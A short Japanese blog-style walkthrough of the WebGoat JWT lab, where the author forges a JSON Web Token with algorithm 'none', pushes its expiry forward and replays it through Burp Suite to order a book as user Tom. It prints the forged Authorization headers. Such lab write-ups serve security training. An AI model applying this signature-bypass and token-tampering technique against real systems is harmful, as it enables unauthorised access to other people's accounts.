Hello there, ('ω')ノ
WebGOATでJWT tokens⑦を選択して。
下記のようなログファイルがあるとのことで。
ログから本を注文する方法を見つけることのこと。
ログの内容から無効なトークンらしきものを発見したので。
下記のサイトで検証すると。
ちなみにCheckoutボタンを押してもなにも変化せず。
Burp Suiteでレスポンス内容を見ると下記のメッセージが。
"Missing request header 'Authorization' for method parameter of type String"
ちなみにリクエストはこんな感じで。
Burp SuiteのRepeater機能で下記のリクエストを追加して実行すると。
Authorization: (改行なし)eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
レスポンスは、以下のとおりで。
"output" : "JWT expired at 2018-05-13T13:23:31Z. Current time: 2020-07-17T07:24:10Z, a difference of 68752839106 milliseconds. Allowed clock skew: 0 milliseconds."
さっそく、下記のようにトークンを変更して。
{
"alg": "none"
}
{
"iat": 1526131411,
"exp": 1526217811,
"admin": "false",
"user": "Tom"
}
再度、Responderで確認してみると結果を見てもうまくいけそうなので。
Authorization: eyJhbGciOiJOb25lIn0=.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTU5NDk3NTI1NiwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ==.
実際にインターセプトをONにして、リクエストに追加して実行するとうまくいかず。
下記のメッセージが。
どうやら有効期限に問題があるようで。
JWTの有効期限は2020-07-17T08:40:56Zでした。
現在の時刻:2020-07-17T08:42:44Z、108251ミリ秒の差。
許可されたクロックスキュー:0ミリ秒。
下記で計算した結果からexp有効期限の時間に余裕を持たせて。
expの値を変更して。
python -c "import time; print(time.time())"
再度、トークンを作成して実行すると。
Authorization: eyJhbGciOiJOb25lIn0=.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTU5NDk3NjIyMiwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ==.
うまくクリアできた。
Best regards, (^^ゞ